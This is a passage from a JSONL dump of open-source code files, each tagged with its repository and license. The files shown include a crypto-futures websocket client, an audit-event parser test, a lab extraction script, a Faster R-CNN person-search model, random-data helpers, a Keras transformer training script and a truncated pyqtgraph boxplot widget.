data, \"/notification\", secret_key)\n data[\"op\"] = \"auth\"\n data[\"type\"] = \"api\"\n data[\"Signature\"] = sign\n msg_str = json.dumps(data)\n await websocket.send(msg_str)\n print(f\"send: {msg_str}\")\n for sub in subs:\n sub_str = json.dumps(sub)\n await websocket.send(sub_str)\n print(f\"send: {sub_str}\")\n while True:\n rsp = await websocket.recv()\n data = json.loads(gzip.decompress(rsp).decode())\n #print(f\"recevie<--: {data}\")\n if \"op\" in data and data.get(\"op\") == \"ping\":\n pong_msg = {\"op\": \"pong\", \"ts\": data.get(\"ts\")}\n await websocket.send(json.dumps(pong_msg))\n print(f\"send: {pong_msg}\")\n continue\n if \"ping\" in data: \n pong_msg = {\"pong\": data.get(\"ping\")}\n await websocket.send(json.dumps(pong_msg))\n print(f\"send: {pong_msg}\")\n continue\n rsp = await callback(data)\nimport json\nmids = {}\nmids['futs'] = {}\nasync def handle_ws_data(*args, **kwargs):\n \"\"\" callback function\n Args:\n args: values\n kwargs: key-values.\n \"\"\"\n if 'tick' in args[0]:\n d = args[0]['tick']\n if 'close' in d:\n #print(d)\n coin = args[0]['ch'].split('_')[0].split('.')[1]\n #print(coin)\n mids['futs'][coin] = float(d['close'])\n if 'data' in args[0]:\n for d in args[0]['data']:\n if 'symbol' in d:\n print(d['symbol'])\n print(d['margin_balance'])\n\ncoinsto = ['BTC', 'ETH', 'XRP', 'BCH', 'LTC', 'EOS', 'LINK', 'DOT', 'ADA', 'BSV', 'ETC', 'TRX']\nimport os\nimport threading\nif __name__ == \"__main__\":\n #### input your access_key and secret_key below:\n access_key = os.environ['key']\n secret_key = os.environ['secret']\n\n market_url = 'wss://www.hbdm.vn/ws'\n order_url = 'wss://api.hbdm.vn/notification'\n \n order_subs = [\n \n\n ]\n market_subs = [\n \n\n ]\n for coin in coinsto:\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_NQ.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market. \" + coin + \"_CQ.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_NW.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_CW.detail\",\n \"id\": str(uuid.uuid1())\n })\n # order_subs.append({\n # \"op\": \"sub\",\n # \"cid\": str(uuid.uuid1()),\n # \"topic\": \"positions.\" + coin\n # }\n # )\n order_subs.append({\n \"op\": \"sub\",\n \"cid\": str(uuid.uuid1()),\n \"topic\": \"accounts.\" + coin\n })\n\n while True: \n try:\n loop = asyncio.get_event_loop()\n loop.create_task(subscribe(market_url, access_key, secret_key, market_subs, handle_ws_data, auth=False))\n loop.create_task(subscribe(order_url, access_key, secret_key, order_subs, handle_ws_data, auth=True))\n\n #loop.create_task(loop_in_thread())\n loop.run_forever()\n\n \n \n #except (websockets.exceptions.ConnectionClosed):\n except Exception as e:\n traceback.print_exc()\n print('websocket connection error. reconnect rightnow')\n", "source": "DunnCreativeSS/cash_carry_leveraged_futures_arbitrageur", "license": "Apache-2.0"}
+{"text": "import unittest\nfrom typing import List\n\nfrom banyan.model.audit import AuditEvent, AuditAction, AuditEventType\nfrom banyan.model.service import ServiceInfo\nfrom tests.parsing import load_testdata\n\n\nclass AuditEventParserTest(unittest.TestCase):\n EVENT_ID = \"c5913103-67af-4669-bc8b-b14d4114f0c1\"\n\n def _test_specific_event(self, e):\n self.assertEqual(self.EVENT_ID, str(e.id))\n self.assertEqual(AuditAction.CREATE, e.action)\n self.assertEqual(AuditEventType.REGISTERED_SERVICE, e.event_type)\n self.assertIsNone(e.changes_old)\n o = e.object_new # type: ServiceInfo\n self.assertEqual(o.cluster_name, \"us-west1\")\n self.assertEqual(o.service_name, \"test-api\")\n self.assertIn(\"bnndemos.com\", o.oidc_client.trust_cb)\n self.assertEqual(o.service_name, o.service.name)\n self.assertEqual(o.service_name, o.service.metadata.name)\n\n def test_parse_event(self):\n e: AuditEvent = AuditEvent.Schema().loads(load_testdata(\"tests/data/audit_event.json\"))\n self._test_specific_event(e)\n\n def test_parse_many(self):\n e: List[AuditEvent] = AuditEvent.Schema().loads(load_testdata(\"tests/data/audit_events.json\"), many=True)\n self._test_specific_event(e[0])\n", "source": "rb-nr/pybanyan", "license": "Apache-2.0"}
+{"text": "def main():\n info('Jan unknown laser analysis')\n\n #gosub('jan:PrepareForCO2Analysis')\n\n if exp.analysis_type == 'blank':\n info('is blank. not heating')\n else:\n info('move to position {}'.format(exp.position))\n move_to_position(exp.position)\n\n if exp.ramp_rate > 0:\n '''\n style 1.\n '''\n # begin_interval(duration)\n # info('ramping to {} at {} {}/s'.format(extract_value, ramp_rate, extract_units)\n # ramp(setpoint=extract_value, rate=ramp_rate)\n # complete_interval()\n '''\n style 2.\n '''\n #elapsed=ramp(setpoint=extract_value, rate=ramp_rate)\n #sleep(min(0, duration-elapsed))\n pass\n\n else:\n info('set heat to {}'.format(exp.extract_value))\n extract(exp.extract_value)\n sleep(exp.duration)\n\n if not exp.analysis_type == 'blank':\n disable()\n sleep(exp.cleanup)", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
+{"text": "from collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nimport torch.nn.functional as F\nimport numpy as np \n\nfrom torchvision.ops import MultiScaleRoIAlign\nfrom torchvision.ops import boxes as box_ops\n\nfrom torchvision.models.detection.roi_heads import RoIHeads\nfrom torchvision.models.detection.rpn import AnchorGenerator, RPNHead, RegionProposalNetwork\nfrom torchvision.models.detection.transform import GeneralizedRCNNTransform\n\nfrom .generalized_rcnn import GeneralizedRCNN\nfrom .resnet_backbone import resnet_backbone\nfrom .reID import Regressor\nfrom torch import autograd\nimport math\n\nclass FasterRCNN(GeneralizedRCNN):\n \"\"\"\n See https://github.com/pytorch/vision/blob/master/torchvision/models/detection/faster_rcnn.py#L26\n \"\"\"\n def __init__(self, backbone,\n num_classes=None, \n # transform parameters\n min_size=900, max_size=1500,\n image_mean=[0.485, 0.456, 0.406], \n image_std=[0.229, 0.224, 0.225],\n # RPN parameters\n rpn_anchor_generator=None, \n rpn_head=None,\n rpn_pre_nms_top_n_train=12000, rpn_pre_nms_top_n_test=6000,\n rpn_post_nms_top_n_train=2000, rpn_post_nms_top_n_test=300,\n rpn_nms_thresh=0.7,\n rpn_fg_iou_thresh=0.7, rpn_bg_iou_thresh=0.3,\n rpn_batch_size_per_image=256, rpn_positive_fraction=0.5,\n # Box parameters\n box_roi_pool=None, \n feat_head=None, \n box_predictor=None,\n box_score_thresh=0.0, box_nms_thresh=0.4, box_detections_per_img=300,\n box_fg_iou_thresh=0.5, box_bg_iou_thresh=0.1,\n box_batch_size_per_image=128, box_positive_fraction=0.5,\n bbox_reg_weights=None,\n # ReID parameters\n embedding_head=None, \n reid_regressor=None,\n ):\n\n if not hasattr(backbone, \"out_channels\"):\n raise ValueError(\n 'backbone should contain an attribute out_channels '\n 'specifying the number of output channels (assumed to be the '\n 'same for all the levels)')\n \n if rpn_anchor_generator is None:\n raise ValueError('rpn_anchor_generator should be specified manually.')\n \n if rpn_head is None:\n raise ValueError('rpn_head should be specified manually.')\n \n if box_roi_pool is None:\n raise ValueError('box_roi_pool should be specified manually.')\n \n if feat_head is None:\n raise ValueError('feat_head should be specified manually.')\n\n if box_predictor is None:\n raise ValueError('box_predictor should be specified manually.')\n\n if embedding_head is None:\n raise ValueError('embedding_head should be specified manually.')\n\n # Construct RPN\n rpn_pre_nms_top_n = dict(\n training=rpn_pre_nms_top_n_train, testing=rpn_pre_nms_top_n_test)\n rpn_post_nms_top_n = dict(\n training=rpn_post_nms_top_n_train, testing=rpn_post_nms_top_n_test)\n rpn = self._set_rpn(\n rpn_anchor_generator, rpn_head,\n rpn_fg_iou_thresh, rpn_bg_iou_thresh,\n rpn_batch_size_per_image, rpn_positive_fraction,\n rpn_pre_nms_top_n, rpn_post_nms_top_n, rpn_nms_thresh)\n\n # Construct ROI head \n roi_heads = self._set_roi_heads(\n embedding_head, reid_regressor, \n box_roi_pool, feat_head, box_predictor,\n box_fg_iou_thresh, box_bg_iou_thresh,\n box_batch_size_per_image, box_positive_fraction,\n bbox_reg_weights,\n box_score_thresh, box_nms_thresh, box_detections_per_img)\n\n # Construct image transformer\n transform = GeneralizedRCNNTransform(\n min_size, max_size, image_mean, image_std)\n\n super(FasterRCNN, self).__init__(\n backbone, rpn, roi_heads, transform)\n\n def _set_rpn(self, *args):\n return RegionProposalNetwork(*args)\n\n def _set_roi_heads(self, *args):\n return Roiheads(*args)\n\n def ex_feat(self, images, targets, mode='det'):\n \"\"\"\n Arguments:\n images (list[Tensor]): images to be processed\n targets (list[Dict[Tensor]]): ground-truth boxes present in the image (optional)\n Returns:\n result: (tuple(Tensor)): list of 1 x d embedding for the RoI of each image\n\n \"\"\"\n if mode == 'det':\n return self.ex_feat_by_roi_pooling(images, targets)\n elif mode == 'reid':\n return self.ex_feat_by_img_crop(images, targets)\n\n def ex_feat_by_roi_pooling(self, images, targets):\n images, targets = self.transform(images, targets)\n features = self.backbone(images.tensors)\n if isinstance(features, torch.Tensor):\n features = OrderedDict([(0, features)])\n proposals = [x['boxes'] for x in targets]\n\n roi_pooled_features = self.roi_heads.box_roi_pool(\n features, proposals, images.image_sizes)\n rcnn_features = self.roi_heads.feat_head(roi_pooled_features)\n \n if isinstance(rcnn_features, torch.Tensor):\n rcnn_features = OrderedDict([('feat_res5', rcnn_features)])\n\n embeddings, _ = self.roi_heads.embedding_head(rcnn_features)\n embeddings = embeddings.squeeze(3).squeeze(2)\n return embeddings.split(1, 0)\n\n def ex_feat_by_img_crop(self, images, targets):\n assert len(images) == 1, 'Only support batch_size 1 in this mode'\n\n images, targets = self.transform(images, targets)\n x1, y1, x2, y2 = map(lambda x: int(round(x)),\n targets[0]['boxes'][0].tolist())\n input_tensor = images.tensors[:, :, y1:y2 + 1, x1:x2 + 1]\n features = self.backbone(input_tensor)\n features = features.values()[0]\n rcnn_features = self.roi_heads.feat_head(features)\n if isinstance(rcnn_features, torch.Tensor):\n rcnn_features = OrderedDict([('feat_res5', rcnn_features)])\n \n embeddings, _ = self.roi_heads.embedding_head(rcnn_features)\n embeddings = embeddings.squeeze(3).squeeze(2)\n return embeddings.split(1, 0)\n\nclass Roiheads(RoIHeads):\n\n def __init__(self, embedding_head, reid_regressor, *args, **kwargs):\n super(Roiheads, self).__init__(*args, **kwargs)\n self.embedding_head = embedding_head\n self.reid_regressor = reid_regressor\n\n @property\n def feat_head(self): # re-name\n return self.box_head\n\n def _flatten_fc_input(self, x):\n if x.ndimension() == 4:\n assert list(x.shape[2:]) == [1, 1]\n return x.flatten(start_dim=1)\n return x # ndim = 2, (N, d)\n\n def select_training_samples(self,\n proposals, # type: List[Tensor]\n targets # type: Optional[List[Dict[str, Tensor]]]\n ):\n # type: (...) -> Tuple[List[Tensor], List[Tensor], List[Tensor], List[Tensor]]\n self.check_targets(targets)\n assert targets is not None\n dtype = proposals[0].dtype\n device = proposals[0].device\n\n gt_boxes = [t[\"boxes\"].to(dtype) for t in targets]\n if self.training: \n gt_cnts = [t[\"cnt\"].to(device) for t in targets]\n gt_labels = [t[\"labels\"].to(device) for t in targets]\n else: gt_labels = [t[\"labels\"] for t in targets]\n\n # append ground-truth bboxes to propos\n proposals = self.add_gt_proposals(proposals, gt_boxes)\n\n # get matching gt indices for each proposal\n matched_idxs, cnts = self.assign_targets_to_proposals(proposals, gt_boxes, gt_cnts)\n _, labels = self.assign_targets_to_proposals(proposals, gt_boxes, gt_labels)\n\n # sample a fixed proportion of positive-negative proposals\n sampled_inds = self.subsample(cnts)\n matched_gt_boxes = []\n num_images = len(proposals)\n for img_id in range(num_images):\n img_sampled_inds = sampled_inds[img_id]\n proposals[img_id] = proposals[img_id][img_sampled_inds]\n cnts[img_id] = cnts[img_id][img_sampled_inds]\n labels[img_id] = labels[img_id][img_sampled_inds]\n matched_idxs[img_id] = matched_idxs[img_id][img_sampled_inds]\n\n gt_boxes_in_image = gt_boxes[img_id]\n if gt_boxes_in_image.numel() == 0:\n gt_boxes_in_image = torch.zeros((1, 4), dtype=dtype, device=device)\n matched_gt_boxes.append(gt_boxes_in_image[matched_idxs[img_id]])\n\n regression_targets = self.box_coder.encode(matched_gt_boxes, proposals)\n return proposals, matched_idxs, cnts, labels, regression_targets\n\n def forward(self, epoch, features, proposals, images, targets=None):\n \"\"\"\n Arguments:\n features (List[Tensor])\n proposals (List[Tensor[N, 4]])\n image_shapes (List[Tuple[H, W]])\n targets (List[Dict])\n \"\"\"\n image_shapes=images.image_sizes\n \n if self.training:\n proposals, matched_idxs, cnts, labels, regression_targets = \\\n self.select_training_samples(proposals, targets)\n \n rcnn_features = self.feat_head(\n self.box_roi_pool(features, proposals, image_shapes))\n\n if self.training:\n result, losses = [], {}\n det_labels = [(y != 0).long() for y in cnts]\n\n # regression bbox delta\n box_regression = self.box_predictor(rcnn_features['feat_res5'])\n \n # embeddings: re-ID features\n # class_logits: detection logits\n embeddings_, class_logits = self.embedding_head(rcnn_features, det_labels)\n cls_scores = F.softmax(class_logits, dim=1)[:,[1]]\n \n loss_detection, loss_box_reg = \\\n rcnn_loss(class_logits.squeeze(3).squeeze(2), box_regression,\n det_labels, regression_targets)\n \n cls_scores = cls_scores.squeeze(3).squeeze(2)\n embeddings_ = embeddings_.squeeze(3).squeeze(2)\n scene_name=[ [str(target['im_name'])]*128 for target in targets]\n scene_num=[ target['imcnt'].repeat(128) for target in targets]\n scene_name=np.array(scene_name)\n\n loss_reid = self.reid_regressor(epoch, embeddings_, cnts) \n losses = dict(loss_detection=loss_detection,\n loss_box_reg=loss_box_reg,\n loss_reid=loss_reid)\n \n else:\n box_regression = self.box_predictor(rcnn_features['feat_res5'])\n embeddings_, class_logits = self.embedding_head(rcnn_features, None)\n embeddings_ = embeddings_.squeeze(3).squeeze(2)\n class_logits = class_logits.squeeze(3).squeeze(2)\n\n result, losses = [], {}\n boxes, scores, embeddings, labels = \\\n self.postprocess_detections(class_logits, box_regression, embeddings_,\n proposals, image_shapes)\n num_images = len(boxes)\n for i in range(num_images):\n result.append(\n dict(\n boxes=boxes[i],\n labels=labels[i],\n scores=scores[i],\n embeddings=embeddings[i],\n )\n )\n\n return result, losses\n\n def postprocess_detections(self, class_logits, box_regression, embeddings_, proposals, image_shapes):\n device = class_logits.device\n\n boxes_per_image = [len(boxes_in_image) for boxes_in_image in proposals]\n pred_boxes = self.box_coder.decode(box_regression, proposals)\n\n class_logits = F.softmax(class_logits, dim=1)\n pred_scores = class_logits[:,1]\n # print('pred_scores.shape', pred_scores.shape)\n embeddings_ = embeddings_ * pred_scores.view(-1, 1) # CWS\n\n # split boxes and scores per image\n pred_boxes = pred_boxes.split(boxes_per_image, 0)\n pred_scores = pred_scores.split(boxes_per_image, 0)\n pred_embeddings = embeddings_.split(boxes_per_image, 0)\n\n all_boxes = []\n all_scores = []\n all_labels = []\n all_embeddings = []\n for boxes, scores, embeddings, image_shape in zip(pred_boxes, pred_scores, pred_embeddings, image_shapes):\n boxes = box_ops.clip_boxes_to_image(boxes, image_shape)\n\n # create labels for each prediction\n labels = torch.ones(scores.size(0), device=device)\n\n # remove predictions with the background label\n boxes = boxes[:, 1:]\n scores = scores.unsqueeze(1)\n labels = labels.unsqueeze(1)\n # embeddings are already personized.\n\n # batch everything, by making every class prediction be a separate\n # instance\n boxes = boxes.reshape(-1, 4)\n scores = scores.flatten()\n labels = labels.flatten()\n embeddings = embeddings.reshape(-1, self.embedding_head.dim)\n\n # remove low scoring boxes\n inds = torch.nonzero(scores > self.score_thresh).squeeze(1)\n boxes, scores, labels, embeddings = boxes[\n inds], scores[inds], labels[inds], embeddings[inds]\n\n # remove empty boxes\n keep = box_ops.remove_small_boxes(boxes, min_size=1e-2)\n boxes, scores, labels, embeddings = boxes[keep], scores[keep], \\\n labels[keep], embeddings[keep]\n\n # non-maximum suppression, independently done per class\n keep = box_ops.batched_nms(boxes, scores, labels, self.nms_thresh)\n \n # keep only topk scoring predictions\n keep = keep[:self.detections_per_img]\n boxes, scores, labels, embeddings = boxes[keep], scores[keep], \\\n labels[keep], embeddings[keep]\n\n all_boxes.append(boxes)\n all_scores.append(scores)\n all_labels.append(labels)\n all_embeddings.append(embeddings)\n\n return all_boxes, all_scores, all_embeddings, all_labels\n\n\nclass EmbeddingProj(nn.Module):\n\n def __init__(self, featmap_names=['feat_res5'],\n in_channels=[2048],\n dim=256,\n cls_scalar=1.0):\n super(EmbeddingProj, self).__init__()\n self.featmap_names = featmap_names\n self.in_channels = list(map(int, in_channels))\n self.dim = int(dim)\n self.cls_scalar = cls_scalar\n \n # Detection projector\n self.projectors = nn.ModuleDict()\n indv_dims = self._split_embedding_dim()\n for ftname, in_chennel, indv_dim in zip(self.featmap_names, self.in_channels, indv_dims):\n indv_dim = int(indv_dim)\n proj = nn.Conv2d(in_chennel, 2, 1, 1, 0)\n init.normal_(proj.weight, std=0.01)\n init.constant_(proj.bias, 0)\n self.projectors[ftname] = proj\n\n # Re-ID projector\n self.projectors_reid = nn.ModuleDict()\n indv_dims = self._split_embedding_dim()\n for ftname, in_chennel, indv_dim in zip(self.featmap_names, self.in_channels, indv_dims):\n indv_dim = int(indv_dim)\n proj = nn.Sequential(\n nn.Conv2d(in_chennel, indv_dim, 1, 1, 0),\n nn.BatchNorm2d(indv_dim))\n init.normal_(proj[0].weight, std=0.01)\n init.normal_(proj[1].weight, std=0.01)\n init.constant_(proj[0].bias, 0)\n init.constant_(proj[1].bias, 0)\n self.projectors_reid[ftname] = proj\n\n\n def forward(self, featmaps, targets=None):\n '''\n Arguments:\n featmaps: OrderedDict[Tensor], and in featmap_names you can choose which\n featmaps to use\n Returns:\n tensor of size (BatchSize, dim), L2 normalized embeddings.\n tensor of size (BatchSize, ) rescaled norm of embeddings, as class_logits.\n '''\n \n if targets is not None:\n # Train mode\n targets = torch.cat(targets,dim=0)\n \n outputs = []\n for k, v in featmaps.items():\n v = F.adaptive_max_pool2d(v, 1)\n outputs.append(\n self.projectors[k](v)\n )\n # dectection logits\n projected = sum(outputs) * self.cls_scalar\n # re-ID embedding\n outputs_reid = []\n for k, v in featmaps.items():\n v = F.adaptive_max_pool2d(v, 1)\n outputs_reid.append(\n self.projectors_reid[k](v)\n )\n embeddings_reid = torch.cat(outputs_reid, dim=1)\n \n embeddings_reid = embeddings_reid / \\\n embeddings_reid.norm(dim=1, keepdim=True).clamp(min=1e-12)\n return embeddings_reid, projected\n\n def _flatten_fc_input(self, x):\n if x.ndimension() == 4:\n x = F.adaptive_max_pool2d(x, 1)\n assert list(x.shape[2:]) == [1, 1]\n return x.flatten(start_dim=1)\n return x # ndim = 2, (N, d)\n\n def _split_embedding_dim(self):\n parts = len(self.in_channels)\n tmp = [self.dim / parts] * parts\n if sum(tmp) == self.dim:\n return tmp\n else:\n res = self.dim % parts\n for i in range(1, res + 1):\n tmp[-i] += 1\n assert sum(tmp) == self.dim\n return tmp\n\n\nclass BboxRegressor(nn.Module):\n \"\"\"\n bounding box regression layers, without classification layer.\n for Fast R-CNN.\n Arguments:\n in_channels (int): number of input channels\n num_classes (int): number of output classes (including background)\n default = 2 for pedestrian detection\n \"\"\"\n def __init__(self, in_channels, num_classes=2, RCNN_bbox_bn=True):\n super(BboxRegressor, self).__init__()\n if RCNN_bbox_bn:\n self.bbox_pred = nn.Sequential(\n nn.Linear(in_channels, 4 * num_classes),\n nn.BatchNorm1d(4 * num_classes))\n init.normal_(self.bbox_pred[0].weight, std=0.01)\n init.normal_(self.bbox_pred[1].weight, std=0.01)\n init.constant_(self.bbox_pred[0].bias, 0)\n init.constant_(self.bbox_pred[1].bias, 0)\n else:\n self.bbox_pred = nn.Linear(in_channels, num_classes * 4)\n init.normal_(self.bbox_pred.weight, std=0.01)\n init.constant_(self.bbox_pred.bias, 0)\n \n def forward(self, x):\n if x.ndimension() == 4:\n if list(x.shape[2:]) != [1, 1]:\n x = F.adaptive_avg_pool2d(x, output_size=1)\n x = x.flatten(start_dim=1)\n bbox_deltas = self.bbox_pred(x)\n return bbox_deltas\n\n\ndef rcnn_loss(class_logits, box_regression, labels, regression_targets):\n \"\"\"\n Computes the loss for Norm-Aware R-CNN.\n Arguments:\n class_logits (Tensor), size = (N, )\n box_regression (Tensor)\n Returns:\n classification_loss (Tensor)\n box_loss (Tensor)\n \"\"\"\n labels = torch.cat(labels, dim=0)\n regression_targets = torch.cat(regression_targets, dim=0)\n\n classification_loss = F.cross_entropy(\n class_logits, labels.long())\n\n sampled_pos_inds_subset = torch.nonzero(labels > 0).squeeze(1)\n labels_pos = labels[sampled_pos_inds_subset]\n N = class_logits.size(0)\n box_regression = box_regression.reshape(N, -1, 4)\n\n box_loss = F.smooth_l1_loss(\n box_regression[sampled_pos_inds_subset, labels_pos],\n regression_targets[sampled_pos_inds_subset],\n reduction=\"sum\",\n )\n box_loss = box_loss / labels.numel()\n\n return classification_loss, box_loss\n\ndef get_model(args, training=True, pretrained_backbone=True):\n phase_args = args.train if training else args.test\n \n # Resnet50\n resnet_part1, resnet_part2 = resnet_backbone('resnet50', \n pretrained_backbone, \n GAP=True)\n\n ##### Region Proposal Network ######\n # Anchor generator (Default)\n rpn_anchor_generator = AnchorGenerator(\n (tuple(args.anchor_scales),), \n (tuple(args.anchor_ratios),))\n # 2D embedding head\n backbone = resnet_part1\n # 1D embedding head\n rpn_head = RPNHead(\n resnet_part1.out_channels,\n rpn_anchor_generator.num_anchors_per_location()[0])\n\n ########## Bbox Network #########\n # Bbox regressor\n box_predictor = BboxRegressor(\n 2048, num_classes=2,\n RCNN_bbox_bn=args.rcnn_bbox_bn)\n # Bbox pooler\n box_roi_pool = MultiScaleRoIAlign(\n featmap_names=['feat_res4'],\n output_size=[24,8],\n sampling_ratio=2)\n # 2D embedding head\n feat_head = resnet_part2\n # 1D embedding head\n embedding_head = EmbeddingProj(\n featmap_names=['feat_res4', 'feat_res5'],\n in_channels=[1024, 2048],\n dim=args.num_features,\n cls_scalar=args.cls_scalar)\n # ReID regressor\n reid_regressor = Regressor(args.use_hnm, args.use_hpm, args.hard_neg, args.sim_thrd, args.co_scale, args.num_features)\n\n model = FasterRCNN( \n # Region proposal network\n backbone=backbone,\n min_size=phase_args.min_size, max_size=phase_args.max_size,\n # Anchor generator\n rpn_anchor_generator=rpn_anchor_generator,\n # RPN parameters\n rpn_head=rpn_head,\n rpn_pre_nms_top_n_train=args.train.rpn_pre_nms_top_n,\n rpn_post_nms_top_n_train=args.train.rpn_post_nms_top_n,\n rpn_pre_nms_top_n_test=args.test.rpn_pre_nms_top_n,\n rpn_post_nms_top_n_test=args.test.rpn_post_nms_top_n,\n rpn_nms_thresh=phase_args.rpn_nms_thresh,\n rpn_fg_iou_thresh=args.train.rpn_positive_overlap,\n rpn_bg_iou_thresh=args.train.rpn_negative_overlap,\n rpn_batch_size_per_image=args.train.rpn_batch_size,\n rpn_positive_fraction=args.train.rpn_fg_fraction,\n # Bbox network\n box_predictor=box_predictor,\n box_roi_pool=box_roi_pool,\n feat_head=feat_head,\n embedding_head=embedding_head,\n box_score_thresh=args.train.fg_thresh,\n box_nms_thresh=args.test.nms, # inference only\n box_detections_per_img=phase_args.rpn_post_nms_top_n, # use all\n box_fg_iou_thresh=args.train.bg_thresh_hi,\n box_bg_iou_thresh=args.train.bg_thresh_lo,\n box_batch_size_per_image=args.train.rcnn_batch_size,\n box_positive_fraction=args.train.fg_fraction, # for proposals\n bbox_reg_weights=args.train.box_regression_weights,\n reid_regressor=reid_regressor\n )\n if training:\n model.train()\n else:\n model.eval()\n \n return model\n", "source": "VIP-Lab-UNIST/CUCPS_public", "license": "MIT"}
+{"text": "\"\"\"Filters for generating random data.\"\"\"\n\n\n\nfrom random import choice, randrange\n\n\ndef rand_choice(options):\n \"\"\"Pick a random value from a range of numbers, like pythons' stdlib.\n\n Equivalent to Djangos' random.\n\n Args:\n options (list): A list of values.\n\n Returns:\n randchoice (mixed): The random choice, selected from the given list.\n \"\"\"\n return choice(options)\n\n\ndef rand_name_title(name):\n \"\"\"Pick a random title for a given name (e.g. ESQ. MD, etc...).\n\n Source: https://www.lehigh.edu/lewis/suffix.htm\n\n Args:\n options (str): A name, or other string.\n\n Returns:\n name (str): The name, with a random suffixed appended.\n \"\"\"\n titles = [\n 'B.V.M.', 'CFRE', 'CLU', 'CPA', 'C.S.C.', 'C.S.J.', 'D.C.', 'D.D.',\n 'D.D.S.', 'D.M.D.', 'D.O.', 'D.V.M.', 'Ed.D.', 'Esq.', 'II', 'III',\n 'IV', 'Inc.', 'J.D.', 'Jr.', 'LL.D.', 'Ltd.', 'M.D.', 'O.D.',\n 'O.S.B.', 'P.C.', 'P.E.', 'Ph.D.', 'Ret.', 'R.G.S', 'R.N.', 'R.N.C.',\n 'S.H.C.J.', 'S.J.', 'S.N.J.M.', 'Sr.', 'S.S.M.O.', 'USA', 'USAF',\n 'USAFR', 'USAR', 'USCG', 'USMC', 'USMCR', 'USN', 'USNR',\n ]\n return '{0} {1}'.format(name, choice(titles))\n\n\ndef rand_color(alpha=100):\n \"\"\"Return a random CSS friendly RGB color value.\n\n Args:\n alpha (int): The optional alpha value for the RGBA string.\n\n Returns:\n str: The RGB triplet for use with inline css.\n (e.g. rgba(10, 20, 30, 100))\n \"\"\"\n return 'rgba({0}, {1}, {2}, {3})'.format(\n randrange(0, 255), randrange(0, 255), randrange(0, 255), alpha)\n", "source": "up2cat/flask_extras", "license": "MIT"}
+{"text": "from keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras.optimizers import Adam\n\nfrom transformer_keras import get_or_create, save_config\nfrom transformer_keras.custom.callbacks import SGDRScheduler, LRFinder, WatchScheduler, LRSchedulerPerStep\nfrom transformer_keras.data_loader import DataLoader\n\nif __name__ == '__main__':\n train_file_path = \"../data/en2de.s2s.txt\"\n valid_file_path = \"../data/en2de.s2s.valid.txt\"\n config_save_path = \"../data/default-config.json\"\n weights_save_path = \"../models/weights.{epoch:02d}-{val_loss:.2f}.h5\"\n init_weights_path = \"../models/weights.36-3.04.h5\"\n\n src_dict_path = \"../data/dict_en.json\"\n tgt_dict_path = \"../data/dict_de.json\"\n batch_size = 64\n epochs = 32\n\n # Data Loader\n data_loader = DataLoader(src_dictionary_path=src_dict_path,\n tgt_dictionary_path=tgt_dict_path,\n batch_size=batch_size)\n\n steps_per_epoch = 28998 // data_loader.batch_size\n validation_steps = 1014 // data_loader.batch_size\n\n config = {\n \"src_vocab_size\": data_loader.src_vocab_size,\n \"tgt_vocab_size\": data_loader.tgt_vocab_size,\n \"model_dim\": 512,\n \"src_max_len\": 70,\n \"tgt_max_len\": 70,\n \"num_layers\": 2,\n \"num_heads\": 8,\n \"ffn_dim\": 512,\n \"dropout\": 0.1\n }\n\n # Get transformer use config and load weights if exists.\n transformer = get_or_create(config,\n optimizer=Adam(1e-3, 0.9, 0.98, epsilon=1e-9),\n weights_path=init_weights_path)\n\n # save config\n save_config(transformer, config_save_path)\n\n ck = ModelCheckpoint(weights_save_path,\n save_best_only=True,\n save_weights_only=True,\n monitor='val_loss',\n verbose=0)\n log = TensorBoard(log_dir='../logs',\n histogram_freq=0,\n batch_size=data_loader.batch_size,\n write_graph=True,\n write_grads=False)\n\n # Use LRFinder to find effective learning rate\n lr_finder = LRFinder(1e-6, 1e-2, steps_per_epoch, epochs=3) # => (3e-5, 5e-4)\n # lr_scheduler = WatchScheduler(lambda _, lr: lr / 2, min_lr=3e-5, max_lr=5e-4, watch=\"val_loss\", watch_his_len=3)\n # lr_scheduler = LRSchedulerPerStep(512)\n lr_scheduler = SGDRScheduler(min_lr=4e-5, max_lr=5e-4, steps_per_epoch=steps_per_epoch,\n cycle_length=15,\n lr_decay=0.8,\n mult_factor=1.5)\n\n transformer.model.fit_generator(data_loader.generator(train_file_path),\n epochs=epochs,\n steps_per_epoch=steps_per_epoch,\n validation_data=data_loader.generator(valid_file_path),\n validation_steps=validation_steps,\n callbacks=[ck, log, lr_scheduler])\n\n # lr_finder.plot_loss()\n # lr_finder.plot_lr()\n", "source": "huanghao128/transformer-keras", "license": "Apache-2.0"}
+{"text": "import functools\nimport math\nimport os\nfrom operator import itemgetter\nfrom threading import Lock\n\nimport numpy as np\nimport pandas as pd\nimport pyqtgraph as pg\nimport pyqtgraph.exporters\nfrom PyQt5 import QtGui\nfrom PyQt5.Qt import QPointF, QRectF, Qt, pyqtSignal, QWidget, QFileDialog, QStandardItemModel, QStandardItem, \\\n QMessageBox\n\nfrom ..ui import UIFormBoxplot\n\n\ndef _q_value(s, name):\n values = s[name]\n q1, q2, q3 = np.percentile(values, (25, 50, 75), interpolation='midpoint')\n iqr = q3 - q1\n lower = q1 - 1.5 * iqr\n upper = q3 + 1.5 * iqr\n min_ = min(values)\n max_ = max(values)\n mean_ = np.mean(values)\n std_ = np.std(values)\n errors = s[(s[name] > upper) | (s[name] < lower)][name]\n return (lower, q1, q2, q3, upper), (min_, max_, mean_, std_), list(errors)\n\n\ndef get_box_group(frame, x, y) -> pd.Series:\n return frame.groupby([x]).apply(functools.partial(_q_value, name=y))\n\n\nclass CandlestickItem(pg.GraphicsObject):\n boxClicked = pyqtSignal(QRectF, float, tuple, tuple, list)\n\n def __init__(self, data):\n pg.GraphicsObject.__init__(self)\n self.data = data\n self.picture = QtGui.QPicture()\n self.x_min, self.x_max = +math.inf, -math.inf\n self.y_min, self.y_max = +math.inf, -math.inf\n\n self.boxs = []\n\n self.gen_picture()\n\n def gen_picture(self):\n self.picture = QtGui.QPicture()\n self.boxs = []\n p = QtGui.QPainter(self.picture)\n\n try:\n sx = sorted(map(itemgetter(0), self.data))\n try:\n dx = min([xb - 